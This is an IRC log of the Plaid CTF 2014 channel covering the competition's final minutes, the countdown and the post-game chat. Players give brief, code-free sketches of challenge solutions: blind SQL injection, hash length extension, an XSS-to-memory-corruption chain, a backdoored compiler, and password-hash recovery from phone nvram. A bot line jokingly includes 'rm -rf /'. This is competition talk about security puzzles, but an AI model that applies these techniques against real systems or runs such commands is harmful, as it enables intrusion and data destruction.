20:36 #pctf: <+dickoff> ryan-c: it is ending in 25 minutes
20:36 #pctf: <+tylerni7> as we have been saying :P
20:36 #pctf: <+tylerni7> it's a 48 hour competition
20:36 #pctf: <+tylerni7> you've all had plenty of time :)
20:36 #pctf: < clockish> zoku: anything else you want?
20:36 #pctf: < wtbw> frozencemetery: woah, I have *fingers*
20:36 #pctf: < Beched> ius
20:36 #pctf: < Beched> i remember you're from eindbazen, aren't you?
20:36 #pctf: < Beched> 0xffa == Eindbazen ??? O__O
20:37 #pctf: <+tylerni7> + ...
20:37 #pctf: <+mserrano>  O__O
20:37 #pctf: < tokki> O__O
20:37 #pctf: <+tylerni7> 0xffa > 0xeb
20:37 #pctf: < mathiasbynens> mind = blown
20:37 #pctf: < sdjakl> yeah tylerni7 seems to have gotten it
20:37 #pctf: <+frozencemetery> wtbw: weeeeeiiiiiiirdddd
20:37 #pctf: < dkohlbre> | (•□•) |
20:37 #pctf: < zoku> nah clockish, gdb is already installed but I can't use it over connectback anyways >_<
20:37 #pctf: < zoku> lol
20:37 #pctf: < ius> tylerni7: close ;)
20:37 #pctf: < tokki> lol
20:37 #pctf: <+tylerni7> ius: I know, I don't wanna give it away though :P
20:37 #pctf: < ius> :D
20:38 #pctf: < sven> it's not that hard anymore now :P
20:38 #pctf: <+ricky> zoku: Sorry, I was mistaken, apparently the machine is different from ezhp so things might be different
20:38 #pctf: < Gynvael> wtf chacning the jackshit binary --;
20:38 #pctf: <+mserrano> Gynvael: it's the same, but no stack protector =\
20:38 #pctf: <+ricky> Not sure what to suggest other than getting a similar env setup or staring more to figure out why your addresses aren't matching up
20:38 #pctf: < _blasty_> holy fuck my heart is pounding through my chest
20:38 #pctf: < Gynvael> comeone, we had the exploit almost working
20:38 #pctf: <+ricky> Hehe yeah, that was tight timing
20:38 #pctf: <+ricky> Gynvael: You still have time!
20:38 #pctf: < Gynvael> and now the layout of stack changed ;/
20:38 #pctf: <+ricky> Oh jackshit, never mind
20:39 #pctf: < zoku> yea, I've tried on debian and ubuntu ricky ;/
20:39 #pctf: <+mserrano> Gynvael: pm clockish
20:39 #pctf: <+ricky> Ah, sorry  - we're starting a copy of the old one up I think
20:39 #pctf: < clockish> Gynvael: sorry! I'll get the old one back up
20:39 #pctf: <+tylerni7> new one should be strictly easier, but...
20:39 -!- handlr [~handlr@unaffiliated/handlr] has left #pctf []
20:40 -!- mode/#pctf [+o mserrano] by ChanServ
20:40 -!- mserrano changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 20 minutes left | $40 added to each cash prizes so far (from CHANCE card)
20:40 -!- mode/#pctf [-o mserrano] by mserrano
20:40 #pctf: < nopple> lol i was also right at the point where it might have hurt more than helped on it, but i started going forward with new version already...
20:40 #pctf: < geobot> just hurt firefox os's feelings on default ubuntu think yeah crowell you're going to be nice to be awesome
20:40 #pctf: < Beched> geobot != tomcr00se ?
20:40 #pctf: <+tylerni7> lol
20:41 #pctf: < tokki> lol
20:41 #pctf: < ryan-c> lol
20:41 -!- hellman [~hellman@5.18.98.93] has joined #pctf
20:41 #pctf: < ryan-c> hellman: WHAT DID YOU DO
20:42 #pctf: < tokki> lol
20:42 -!- shabgard [~mostafa@unaffiliated/shabgard] has joined #pctf
20:42 #pctf: < iZsh> you guys still haven't figured out what 0xffa is? ;-)
20:42 #pctf: < ciliated> reekee is not directory traversal?
20:42 #pctf: <+houqp_> Beched: you need to ask geobot
20:42 #pctf: < sven> it's really not hard :P
20:42 #pctf: <+tylerni7> ciliated: you can pm me
20:42 #pctf: < _blasty_> Who will solve the 0xFFA puzzle first ?
20:43 #pctf: < iZsh> yeah 0xffa is a CTF chall :)
20:43 #pctf: < _blasty_> :-)
20:43 #pctf: < arthurdent> it's a xor of two teams
20:43 #pctf: < sven> nope
20:43 #pctf: <+mserrano> some of us have already "solved"
20:43 #pctf: <+mserrano> :P
20:43 #pctf: < _blasty_> warm.
20:43 #pctf: < sven> close though.
20:43 -!- paul_axe [~killobyte@h140.net36.bmstu.ru] has joined #pctf
20:43 #pctf: < paul_axe> hi, who can i ask about kpop?
20:43 #pctf: < AnthraX101> XOR? Like those who were in both before were not allowed in?
20:43 #pctf: < geobot> it did do it in?
20:43 #pctf: <+tylerni7> paul_axe: mserrano
20:43 #pctf: <+mserrano> paul_axe: me
20:43 #pctf: < sven> [22:34:59]  <sdjakl>        0xffa = x+y for x,y (in) Z
20:43 #pctf: < sven> now find x and y!
20:43 #pctf: < Beched> paul_axe: O_O ты за кого?)
20:44 #pctf: < sdjakl> if its clearer I can use latex notation
20:44 #pctf: < _blasty_> :-)
20:44 #pctf: < paul_axe> Beched: solo ;)
20:44 #pctf: < Beched> =)
20:44 #pctf: < sven> another hint: sdjakl is part of 0xffa
20:44 #pctf: <+tylerni7> Beched: english plz
20:44 #pctf: < plaintext> it's gg for us I guess
20:44 #pctf: <+dickoff> but I hear addition is hard, how will I ever solve for x and y?
20:44 #pctf: < zoku> clockish: is nightmare NATed?
20:44 #pctf: < iZsh> dickoff: :)
20:45 -!- DuM [~bt@50-88-124-149.res.bhn.net] has joined #pctf
20:45 #pctf: <+mserrano> <= 15 minutes
20:45 #pctf: < inter> zoku: no its under alcatraz
20:45 #pctf: < zoku> fuck
20:45 -!- gijs [~gijs@static.151.18.9.176.clients.your-server.de] has joined #pctf
20:45 #pctf: < poppopret> do ppl score points often in the last couple of minutes?
20:45 -!- khloe_k [~rg@cpe-172-251-69-130.socal.res.rr.com] has joined #pctf
20:46 #pctf: < iZsh> poppopret: when you're #1, murphy says yes
20:46 #pctf: < iZsh> when you're #2, murphy says no
20:46 #pctf: < plaintext> multiplication hint plox :P
20:46 #pctf: < sven> yeah, 1 second before the end ofc
20:46 #pctf: <+tylerni7> iZsh: or still says yes, and you move down to 3rd :(
20:46 #pctf: < zoku> what system is ezhp running on??
20:46 #pctf: < zoku> 32bit debian??
20:46 #pctf: < iZsh> tylerni7: heh yeah, i didn't think of this way ;-)
20:46 #pctf: < poppopret> OS X
20:47 #pctf: < hellman> Thx ppp for cool ctf (and teams), i think i'm off now :) gg
20:47 #pctf: <+mserrano> :) see ya hellman
20:47 #pctf: <+tylerni7> hellman: o/
20:47 #pctf: < corpille> any lasts minute hint on mtpox ?
20:47 #pctf: <+dickoff> hellman: o/
20:47 #pctf: < clockish> Gynvael: it's up at 1283
20:47 #pctf: < clockish> Gynvael: the port patch is the only difference
20:47 #pctf: < Adran> any chance web100 might be usable until the end? :(
20:47 #pctf: < Gynvael> thx
20:47 #pctf: < tokki> k lets chat i think i'm ready for the write ups
20:47 #pctf: < zoku> clockish: do you admin the ezhp box too??
20:47 #pctf: < clockish> Gynvael: super sorry
20:47 #pctf: < clockish> zoku: no
20:48 #pctf: < tokki> we're still stuck on crypto 20 ;)
20:48 #pctf: < geobot> and 20 minuteds
20:48 #pctf: <+ricky> 12 minutes left!
20:48 #pctf: < rray> geobot: hi
20:48 #pctf: < _blasty_> np: Jace Hall - LOL MONEY
20:49 #pctf: < sven> :>
20:49 -!- Hertle [~Hertle@host74-2.natpool.mwn.de] has joined #pctf
20:49 #pctf: < Adran> ricky: poor web100, everyone seems to be just hammering it right now
20:49 #pctf: < geobot> for web100, we can some other people
20:49 #pctf: < sdjakl> sven: so do we tell em at timeout; or just wait for the writeups ;)
20:49 #pctf: < sven> sdjakl: timeout sounds good :)
20:49 #pctf:  * ricky is rooting for DS to solve jackshit
20:49 #pctf: < sven> it's seriously obvious now
20:50 -!- eZpl0it [~ezpl0it@193.234.224.171] has joined #pctf
20:50 -!- antoniob [~antoniob@128.111.48.6] has joined #pctf
20:50 -!- mode/#pctf [+o mserrano] by ChanServ
20:50 -!- mserrano changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 10 minutes left | $40 added to each cash prizes so far (from CHANCE card)
20:50 #pctf: < iZsh> ricky: we're still trying to solve 2 others :)
20:50 #pctf: < iZsh> might get one in time
20:50 #pctf: < iZsh> :)
20:51 -!- javex [javex@2a01:7e00::f03c:91ff:fe70:76f8] has joined #pctf
20:52 #pctf: <+ricky> :-)
20:52 #pctf: < Guest68736> who can i ask for  web100 ?
20:52 #pctf: < geobot> then does have to get in the video on web100 is so difficult
20:52 -!- hellman [~hellman@5.18.98.93] has joined #pctf
20:52 #pctf: <@mserrano> 8
20:52 #pctf: < Hero2Morow> what's the highest number of points possible?
20:52 #pctf: <+ricky> 7.73
20:52 #pctf: < mischa__> there is a web100?
20:52 #pctf: < geobot> web100?
20:52 #pctf: < dkohlbre> man this machine's clock is off by 3.5 minutes wtf
20:52 #pctf: < tokki> lol
20:52 #pctf: < Guest68736> yeah web100
20:52 #pctf: < poppopret> what time is it on the server's clock
20:53 #pctf: < Guest68736> who can i ask for it ?
20:53 #pctf: < Adran> there is a web100 when it decides to load
20:53 #pctf: <@mserrano> 7
20:53 #pctf: < poppopret> 7?
20:53 #pctf: < Guest68736> mserrano: can i ask you smt for web100? in private
20:53 #pctf: < geobot> i feel bad for web100?
20:54 #pctf: <@mserrano> 6
20:54 #pctf: < poppopret> more minutes?
20:54 #pctf: <@mserrano> yes
20:54 -!- ronbarrey [~ronbarrey@c-75-72-113-52.hsd1.mn.comcast.net] has joined #pctf
20:54 #pctf: < |x_x|> By the technological gods.
20:54 #pctf: < |x_x|> I nodded off.
20:54 #pctf: < |x_x|> >_<
20:54 #pctf: < LuckyY> but but chronosphere discharges in 8 minutes
20:54 #pctf: < Guest68736> someone i can pm for web100?
20:54 #pctf: < |x_x|> Dropped six places. Y_Y
20:54 #pctf: < tokki> lol the chronosphere
20:54 #pctf: < tokki> dat chronosphere
20:55 #pctf: <@mserrano> 5
20:55 #pctf: < |x_x|> Quick, everyone send me your keys. >_>
20:55 #pctf: < inter> trading keys
20:55 #pctf: < inter> dota2 keys for tf2 keys
20:55 #pctf: < geobot> so, tf2 is linked to sit on the edge of
20:55 #pctf: < inter> 1:1 ratio
20:55 #pctf: < yyyyyyy> |x_x|: http://www.dabeagle.com/images/old-golden-key.jpg
20:55 #pctf: < geobot> |x_x|: correct
20:55 #pctf: < Ymgve> blah, I could have done moscow if I had one more hour
20:55 #pctf: < poppopret> everyone refresh the hints page
20:55 #pctf: < phiber__> how much left?
20:55 #pctf: < inter> add my steam: pctfpls
20:55 #pctf: < Guest68736> someone i can pm for web100?
20:56 #pctf: < |x_x|> I've got a sanity check key up for swap. pst.
20:56 #pctf: < geobot> just read the story, basically they don't reuse keys from when we solved sanity check
20:56 #pctf: <@mserrano> 4min
20:56 #pctf: < poppopret> lol guest68736
20:56 #pctf: < Guest68736> i have the awnser i need something else
20:56 #pctf: < inter> clockish: im waiting on your writeup
20:56 #pctf: < tokki> 4min 240seconds!
20:56 #pctf: < iago-x86> Well, I guess that's it
20:56 -!- Sin__ [~R@78.96.111.132] has joined #pctf
20:56 #pctf: < iago-x86> I'm not solving anything by then :)
20:56 #pctf: < inter> 4 minute 20 seconds
20:56 #pctf: < tsuro> iago-x86: same here :)
20:56 #pctf: < iago-x86> Damn you, blackjack!
20:56 #pctf: < iago-x86> tsuro: How'd you do?
20:56 #pctf: < inter> 420 blaze it
20:57 #pctf: <@mserrano> 3min
20:57 #pctf: < Ymgve> hope no one solves moscow
20:57 #pctf: < tokki> damn
20:57 #pctf: < tsuro> iago-x86: we're still 4th, crossing my fingers :)
20:57 #pctf: <@mserrano> Ymgve: I don't think anyone will :(
20:57 #pctf: < clockish> inter: heh, I'll just pm you the short version, other ppl can post real writeups :P
20:57 #pctf: < iago-x86> nice :)
20:57 #pctf: < tokki> tsuro: ftw!
20:57 #pctf: < wtbw> moscow got released a bit late it seems
20:57 #pctf: < _blasty_> j00 kn0w h4ck3rz lyk3 2 s3ll drugZ?
20:57 #pctf: < wtbw> downside of the board system
20:57 #pctf: < sven> we'd need another hour for moscow :/
20:57 #pctf: < iago-x86> tsuro: we're 36th, but with only 3 people who solved anything :)
20:58 #pctf: <+ricky> That's pretty impressive
20:58 #pctf: <@mserrano> 2 mi
20:58 #pctf: <@mserrano> n
20:58 #pctf: < wtbw> sven: if it was windows I might've managed it
20:58 #pctf: < wtbw> got a few more tools there :)
20:58 #pctf: < yyyyyyy> mserrano, what's a mi?
20:58 #pctf: < tomcr00se> i mean, 13th is better than 12th
20:58 #pctf: < wtbw> minute
20:58 #pctf: <@mserrano> yyyyyyy: meant minute, hit enter too early
20:58 #pctf: < asmoday> PENCILS DOWN GAME OVER
20:58 #pctf: < wtbw> tomcr00se: pft!
20:58 #pctf: < tokki> mserrano:  lol
20:58 #pctf: < clockish> asmoday NOT YET
20:58 #pctf: < tsuro> iago-x86: yeah, we were far more than that
20:58 #pctf: <+ricky> Please pass your exam booklets to the front
20:58 #pctf: <+tylerni7> ricky: heh
20:58 #pctf: < chrissing> hahaha
20:59 #pctf: <@mserrano> 1 minute
20:59 #pctf: < iago-x86> I personally solved 7 challenges
20:59 #pctf: < tomcr00se> let me just submit my cheating stored keys brb one sec
20:59 #pctf: < geobot> brb - registering for the transposition cipher was hacktastic
20:59 #pctf: <+ricky> Who will submit the last key?
20:59 #pctf: < tsuro> iago-x86: we even have 3 students who get credits at our university if they play CTF competitions
20:59 #pctf: < iago-x86> Nice! :)
20:59 #pctf: <+tylerni7> tomcr00se: :P
20:59 #pctf: < iZsh> dammit ENOTIME
20:59 #pctf: <+cai_> almost over
20:59 #pctf: <+cai_> in few seconds
20:59 #pctf: < inter> tomcr00se: ill give you a cookie with raisins in it
20:59 #pctf: < sven> time for murphy now
20:59 #pctf: <@mserrano> o.o
20:59 #pctf: <+ricky> 10
20:59 #pctf: < _blasty_> 9
20:59 #pctf: < zoku> nnooooo
20:59 #pctf: < Ymgve> give tips for all tasks now pls
20:59 #pctf: <+ricky> 5
20:59 #pctf: < |x_x|> 5
20:59 #pctf: < Adran> 4
20:59 #pctf: <+ricky> 2
20:59 #pctf: <+ricky> 1
21:00 #pctf: < Adran> 3
21:00 #pctf: < |x_x|> 1
21:00 #pctf: <+ricky> 0
21:00 #pctf: < poppopret> 4
21:00 #pctf: < yyyyyyy> -1e100
21:00 #pctf: < poppopret> 2
21:00 #pctf: < zoku> nooo wayyy
21:00 #pctf: < Reinhart> -1
21:00 #pctf: < poppopret> 5
21:00 #pctf: < Adran> -1
21:00 #pctf: < poppopret> 6
21:00 #pctf: < rray> 2 minutes left? guess i should start on bronies now
21:00 #pctf: < wtbw> omg_not_a_real_key
21:00 #pctf: < Reinhart> -2
21:00 #pctf: <+dickoff> GG!
21:00 #pctf: < |x_x|> ln(1023)
21:00 #pctf: <@mserrano> game over
21:00 #pctf: <+ricky> Good game!
21:00 #pctf: < _blasty_> >>> "%x" % (0xf0f+0xeb)
21:00 #pctf: < _blasty_> 'ffa'
21:00 #pctf: < sdjakl> woooo
21:00 #pctf: < tomcr00se> GG FOLKS
21:00 -!- sssssssss [5a9c5102@gateway/web/freenode/ip.90.156.81.2] has joined #pctf
21:00 #pctf: < Gynvael> GG
21:00 #pctf: <+cai_> GAME OVER
21:00 #pctf: < LuckyY> 502 Bad Gateway
21:00 #pctf: < chrissing> It was fun
21:00 #pctf: <+cai_> gg
21:00 #pctf: < LuckyY> :D
21:00 #pctf: < rray> gg
21:00 #pctf: < architekt> Good Game 8-)
21:00 #pctf: < poppopret> and 502 bad gateway!!
21:00 #pctf: < whois> good
21:00 #pctf: < iZsh> \o/
21:00 #pctf: < wtbw> thanks PPP :)
21:00 #pctf: < computerality> _blasty_: mind=blown
21:00 #pctf: < |x_x|> Now that it's all over. I'm going to spoil one of the challenges for you guys. Sanity Check's key was "poop"
21:00 #pctf: < geobot> didn't know that haven't solved sanity check key easily trackable by then :)
21:00 #pctf: < muchacho> wtf was the path in kpop?
21:00 #pctf: < x56> woop woop! gg and thanks :)
21:00 #pctf: < mischa__> nice ctf
21:00 #pctf: < iZsh> jeez
21:00 #pctf: < Adran> poppopret: yeah
21:00 -!- mode/#pctf [+o cai_] by ChanServ
21:00 #pctf: < tokki> gg :D
21:00 #pctf: < plaintext> GG
21:00 #pctf: < ius> Thanks!
21:00 #pctf: <+dickoff> thanks for playing everyone :)
21:00 #pctf: < plaintext> thanks for the ctf
21:00 #pctf: < plaintext> what was multiplication?
21:00 #pctf: < KT> ok guy, whats 38.55 * 1700?
21:00 #pctf: < inter> gg
21:00 #pctf: < Ymgve> great ctf!
21:00 #pctf: < iZsh> so yeah, 0xffa = f0f + e
21:00 #pctf: < khloe_k> thx PPP
21:00 #pctf: < x56> 100000
21:00 #pctf: < Otacon22> gg
21:00 #pctf: < tomcr00se> 100,000
21:00 #pctf: < iZsh> so yeah, 0xffa = f0f + eb
21:00 #pctf: < Gynvael> gg
21:00 #pctf: < corpille> 100000
21:00 #pctf: <@mserrano> 38.55 * 1700 was 100000
21:00 #pctf: < Ymgve> KT: 100000 or something, excel bug
21:00 #pctf: < plaintext> wat
21:00 -!- HockeyInJune [sid17970@gateway/web/irccloud.com/x-ctjiaaopkbcjhczm] has left #pctf []
21:00 #pctf: < plaintext> why
21:00 #pctf: < tokki> thanks for making such an awesome ctf
21:00 #pctf: < architekt> Nice Game PPP
21:00 #pctf: <@mserrano> because of an excel 2007 bug
21:00 #pctf: < warrick> GOOOD GAME, THANKS PPP
21:00 #pctf: < tomcr00se> what was _nightmares_
21:00 #pctf: < ltfish> thank you guys for this game!
21:00 #pctf: < tokki> NOW TIME FOR WRITE UPS
21:00 #pctf: < tokki> thanks PPP :D
21:01 #pctf: < tomcr00se> real python pwning with shellcode?
21:01 #pctf: < wtbw> graphs was my favourite
21:01 #pctf: < geobot> we used it on how the pwning
21:01 #pctf: < Gynvael> thanks PPP ;)
21:01 #pctf: < _blasty_> THE FINAL FAIL ALLIANCE WOULD LIKE TO THANK PPP
21:01 #pctf: < Gynvael> gz 0xffa
21:01 #pctf: < plaintext> wh yis it 100,000?
21:01 #pctf: < |x_x|> http://scienceblogs.com/goodmath/2007/10/02/the-excel-65535100000-bug/ Read up on the 38.55 * 1700
21:01 #pctf: < Pitr_> thanks PPP!
21:01 #pctf: < Guest26684> redesvouz cookie, what was the BEEF damnit
21:01 #pctf: < _blasty_> FOR DIZ GAME
21:01 #pctf: < iZsh> thx guys
21:01 #pctf: < Ymgve> what was trojaned in the gcc challenge?
21:01 -!- mserrano changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] GG; congrats 0xffa, Dragon Sector, MSLC | $40 added to each cash prizes so far (from CHANCE card)
21:01 #pctf: < bool_101> thanks PPP for a great game!
21:01 #pctf: <+tylerni7> Gynvael: you're welcome, nice job!
21:01 #pctf: < kris> GG
21:01 #pctf: < tokki> lol
21:01 #pctf: < comex> Ymgve: openssl
21:01 #pctf: <+awesie> http://lmgtfy.com/?q=65535+multiplication
21:01 #pctf: < moki> thanks for hosting this
21:01 #pctf: < plaintext> oh so it was trivia
21:01 -!- moki [~humpy@server1.rhave.dk] has left #pctf []
21:01 #pctf: < plaintext> nice
21:01 #pctf: <+houqp_> Guest26684: it's the beef
21:01 #pctf: < |x_x|> Multiplication is hard is an old Excel Sheet bug.
21:01 #pctf: < inter> thanks to mserrano, awesie, dickoff, frozencemetery, gbarboza, houqp_, ricky, tylerni7, and clockish for awsome challenges
21:01 #pctf: < dkohlbre> ok bbos, what was the password, I got into the emulator but it told me the key was the password :/
21:01 #pctf: < iago-x86> Gynvael: Hey, looking forward to our debrief at work :)
21:01 #pctf: < tokki> LeaveRet had an awesome time :D
21:01 #pctf: < abuss> Writeup on web 100: http://sigint.ru/writeups/2014/04/13/plaidctf-2014-writeups/
21:01 #pctf: < geobot> did a writeup
21:01 -!- EdHunter [foobar@2-107-180-168-dynamic.dk.customer.tdc.net] has left #pctf []
21:01 -!- cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] IT'S OVER! | Survey: http://bit.ly/1ifQBOo | $40 added to each cash prizes so far (from CHANCE card)
21:01 #pctf: < ryan-c> so, did anyone solve rsa from scratch?
21:01 #pctf: < Adran> mserrano: thats terribe
21:01 #pctf: < clockish> tomcr00se: nightmares was writing to /proc/self/mem
21:01 #pctf: < poppopret> how'd you guys all do??
21:01 #pctf: < tokki> DAT MONIEZ
21:01 #pctf: < Gynvael> iago-x86: ;)
21:01 #pctf: <+dickoff> inter: you forgot cai_ !
21:01 #pctf: < abuss> (ignore the nuit du hack title, I don't know how2jekyll)
21:01 #pctf: <+frozencemetery> inter: :)
21:01 #pctf: < lavish> congrats ppp!
21:01 #pctf: < tomcr00se> clockish: omg duh :P...nice
21:01 #pctf: < lavish> classy chals as usual
21:01 #pctf: < Ymgve> comex: but openssl wasn't included, just gcc?
21:01 #pctf: < bool101> Grats 0xffa
21:02 #pctf: <+dickoff> I'm looking forward to people's writeups
21:02 #pctf: <@mserrano> tomcr00se: or use a code object!
21:02 #pctf: < ius> Thanks PPP!
21:02 #pctf: < Adran> Thanks for the ctf guys
21:02 #pctf: < robbje> GG, nice CTF, thank you for hosting
21:02 #pctf: <@cai_> congrats to the winners :)
21:02 #pctf: < ius> esp. bronies was insane
21:02 #pctf: < ius> :D
21:02 #pctf: <+dickoff> ius: congrats!
21:02 #pctf: < lavish> and grats to the winners
21:02 #pctf: <@cai_> GG all
21:02 #pctf: < comex> Ymgve: if you compile openssl with that gcc, it gets backdoored
21:02 #pctf: < _blasty_> BRONIES.
21:02 #pctf: < someone_> what was the wallet id for mtpox
21:02 #pctf: < jagger_> gg - really nic challenges - a lot of fun instead of going through 100 iterations of guessing
21:02 #pctf: < ius> so much xss/mem corr
21:02 -!- _bcc [~bcc@75-137-7-50.dhcp.nwnn.ga.charter.com] has left #pctf []
21:02 #pctf: < Guest71506> gg
21:02 #pctf: < iago-x86> I can't believe we didn't solve the tor level... we have two tor devs on our team! :)
21:02 #pctf: < Ymgve> comex: that's the theory but we could never find the backdoor
21:02 -!- DoctorDelusional [~stranger@ec2-204-236-195-41.compute-1.amazonaws.com] has left #pctf []
21:02 #pctf: <+awesie> dkohlbre: there was password to unlock the device, that password was the key
21:02 #pctf: < arthurdent> anyone want to make a googledox with all the writeups or something?
21:02 #pctf: < valis> wow, that was intensive - congrats 0xffa on bronies part 2
21:02 #pctf: < _blasty_> My captcha approach was suboptimal. I kept refreshing till I got 'Rarity'.
21:02 -!- Rexperience7 [~Rex@unaffiliated/rexperience7] has joined #pctf
21:02 #pctf: <+tylerni7> iago-x86: hahahaha
21:02 #pctf: < Adran> what was the answer to polygon since I kept getting gatway issues?
21:02 #pctf: < _blasty_> Im gonna watch all of MLP now.
21:02 #pctf: <@mserrano> _blasty_: lol
21:02 #pctf: < sven> :D
21:02 #pctf: < iago-x86> _blasty_: haha, I did basically the same
21:02 #pctf: < lavish> someone_: I used group_concat and dumped the whole stuff
21:02 #pctf: < Adran> my little brony
21:02 #pctf: < tomcr00se> polygon was sql injection
21:02 #pctf: <+tylerni7> _blasty_: pony captcha is best captcha
21:02 #pctf: < Rexperience7> GJ Everyone
21:02 #pctf: <@mserrano> _blasty_: Ricky would refresh until he got Princess Celestia
21:02 #pctf: <+dickoff> iago-x86: what team are you on?
21:02 #pctf: < comex> Ymgve: i compiled openssl with the evil compiler and stock gcc 4.8.2, bindiff, easy to find the difference
21:02 #pctf: < dkohlbre> awesie: yes i know, i couldn't figure out how to get the password, I unlocked the device without it :P
21:02 #pctf: < Rexperience7> it was fun
21:02 #pctf: < Valodim> pony captcha kept me going ♥
21:03 #pctf: < sssssssss> what bug in web800?
21:03 -!- zzoru [6e23254c@gateway/web/freenode/ip.110.35.37.76] has joined #pctf
21:03 #pctf: < iago-x86> dickoff: "Nate Delivers Breakfast" or "ndb"
21:03 #pctf: < whois> what is bronies2??
21:03 #pctf: <+awesie> dkohlbre: yeah, that is why i made the key the password :)
21:03 #pctf: < geobot> we used in the password
21:03 #pctf: < sven> sssssssss: wait for our writeup :)
21:03 #pctf: <+awesie> dkohlbre: you could get the password from the nvram
21:03 #pctf: < sssssssss> sure
21:03 #pctf: < comex> (first i tried bindiffing the compiler but it was compiled with two different compilers itself or something)
21:03 #pctf: < clockish> sven: we're all waiting for your writeup :)
21:03 #pctf: <@mserrano> whois: xss -> arb. file read -> mem corruption -> flag
21:03 -!- cimmi_ [1f2d47df@gateway/web/freenode/ip.31.45.71.223] has joined #pctf
21:03 #pctf: <+ricky> sssssssss: XSS in ponies site, stack buffer overflow leading to XSS in otp checking binary on login site, combine to steal cookie on login site
21:03 #pctf: <+awesie> dkohlbre: blackberry only uses sha1 to hash their device password :(
21:03 #pctf: < dkohlbre> awesie: thats what I figured,but I couldn't find any docs on it, and manual inspection wasn't turning it up
21:03 #pctf: < Ymgve> SHA1 hash of password was in mvram for blackberry
21:03 #pctf: < Ymgve> nvram
21:03 #pctf: <+ricky> sssssssss: Then there was an internal web server with more memory corruption to exploit
21:03 #pctf: < whois> memory couuption on /home/bigson/bigson binary?
21:03 #pctf: < Adran> mserrano: what was polygon? i saw the injection stuff, but then gateway sploded. :(
21:04 #pctf: < abuss> Adran, http://sigint.ru/writeups/2014/04/13/plaidctf-2014-writeups/
21:04 #pctf: < Guest26684> arthurdent: ctftime.org will can index em all, submit them there - https://ctftime.org/event/119/tasks/
21:04 #pctf: < [CISSP]HoLyVieR> For WhatApp, what SQL where we suppose to use that fits in 64 caracters ?
21:04 #pctf: < tomcr00se> and what was weeee?
21:04 #pctf: < Ymgve> also: fun fact, if you delete the nvram file, you can access the phone and read the message without any password
21:04 #pctf: < iago-x86> Adran: Poly was a blind sqli
21:04 #pctf: < tomcr00se> Adran: sql injection
21:04 #pctf: < Beched> hey anybody
21:04 #pctf: <@mserrano> Adran: blind sql
21:04 #pctf: < mongo12> stack buffer overflow leading to XSS? how so?
21:04 #pctf: < Beched> pls show flag for web200
21:04 #pctf: < ronbarrey> looking for soultion to web150
21:04 #pctf: < Adran> okay. yeah got to the sql injection. then gatway ate me.
21:04 #pctf: < Adran> cool
21:04 #pctf: < dkohlbre> Ymgve: did you find docs on how its stored? or just find a sha1 hash and roll with it
21:04 #pctf: < iZsh> ricky: dont sploil the writeups ;-)
21:04 #pctf: < iZsh> for bronies2
21:04 #pctf: < _blasty_> Im eh, not looking forward to do the full bronies writeup
21:04 #pctf: < _blasty_> lol
21:04 #pctf: < Adran> ronbarrey: sql injection to get flag
21:04 #pctf: < geobot> sql injection of rm -rf / sven: don't die
21:04 #pctf: < lavish> 23:01 < abuss> Writeup on web 100: http://sigint.ru/writeups/2014/04/13/plaidctf-2014-writeups/
21:04 #pctf: < lavish> change the page title
21:04 #pctf: < lavish> :P
21:04 #pctf: < Adran> abuss: thanks
21:04 #pctf: < Ymgve> dkohlbre: deleted original nvram, set a new password with "test", looked thru nvram for suspicious areas
21:04 #pctf: < rray> what was mtpox
21:04 #pctf: < Ymgve> the rest was thanks to google(tm) hash brute forcing
21:05 #pctf: < tomcr00se> so i had rop on harry_potter...what next?
21:05 #pctf: < abuss> lavish, <abuss> (ignore the nuit du hack title, I don't know how2jekyll)
21:05 #pctf: < abuss> hehehe
21:05 #pctf: < dkohlbre> Ymgve: did the exact same things... I'll take another look at my diff
21:05 #pctf: < dkohlbre> thanks
21:05 #pctf: < [CISSP]HoLyVieR> rray: mtbox what hash length extension + sqli
21:05 #pctf: < lavish> abuss: ooops
21:05 #pctf: <+ricky> iZsh: Sure thing, looking forward to reading
21:05 #pctf: < iago-x86> rray: mtpox was hash extension attack
21:05 #pctf: < iago-x86> google it, you'll find my blog as the second result. :)
21:05 #pctf: < yyyyyyy> so what was 20? :D
21:05 #pctf: < Beched> halphow2js FLAG pls, need to compare
21:05 #pctf: < bool101> yes what was the solution to harry_potter
21:05 #pctf: < rray> ahh, i was nowhere near solving mtpox :P
21:05 #pctf: < abuss> tomcr00se, how the hell did you get halphow2js so fast? 0.0
21:05 #pctf: < Ymgve> sooo was graphs supposed to be so easy to solve? (all private key vertices had a suspiciously low degree)
21:05 #pctf: <@mserrano> Ymgve: yes
21:06 #pctf: < tomcr00se> abuss: i have mad js skills :P
21:06 #pctf: < wtbw> Ymgve: treat it as a system of linear equations
21:06 #pctf: <@mserrano> Ymgve: you can just do Gaussian elimination and get a flag
21:06 #pctf: < abuss> well, better question, how were you suppoesd to get halphow2js :P
21:06 #pctf: < |x_x|> Time to start doing some writeups on what few I could do.
21:06 #pctf: < Valodim> lol graphs was awesome
21:06 -!- javex [javex@2a01:7e00::f03c:91ff:fe70:76f8] has left #pctf []
21:06 #pctf: < Ymgve> wtbw: fuck that, count degrees, see where the jump is
21:06 #pctf: < clockish> Beched: w00t_i_are_mastar_web_hackar
21:06 #pctf: < Valodim> privkey.add(node[0])
21:06 #pctf: < Valodim> bam
21:06 #pctf: < mongo12> how do you get XSS out of the stack overflow, for bronies1? wtf
21:06 #pctf: < robbje> any writeup on zfs?
21:06 -!- mode/#pctf [-o cai_] by cai_
21:06 #pctf: < whois> mserrano // how possible memory corruption bigson?
21:06 #pctf: < lavish> iago-x86: lol thank you! I used your hash_extender to solve mtpox!
21:06 #pctf: < Beched> clockish: thanks
21:06 #pctf: < tomcr00se> also, i shamefully failed at hudak
21:06 #pctf: < Ymgve> there was like no vertices with degrees between 20 and 30
21:06 #pctf: < upb> [CISSP]HoLyVieR: but what do you extend b:0; to to get anything other than bool(false) ? :P
21:06 #pctf: < lavish> iago-x86: that program rulez
21:06 #pctf: < zoku> who wrote ezhp?
21:06 #pctf: <@mserrano> zoku: I did
21:06 #pctf: < tomcr00se> mserrano: i am so bad at your problems, paris and hudak
21:06 #pctf: < sven> heh, zfs was fun. aDR4eA solved that one in ~10 minutes :D
21:06 #pctf: < wtbw> Ymgve: oh, sneaky!
21:06 -!- Rinko [3d812a67@gateway/web/cgi-irc/kiwiirc.com/ip.61.129.42.103] has joined #pctf
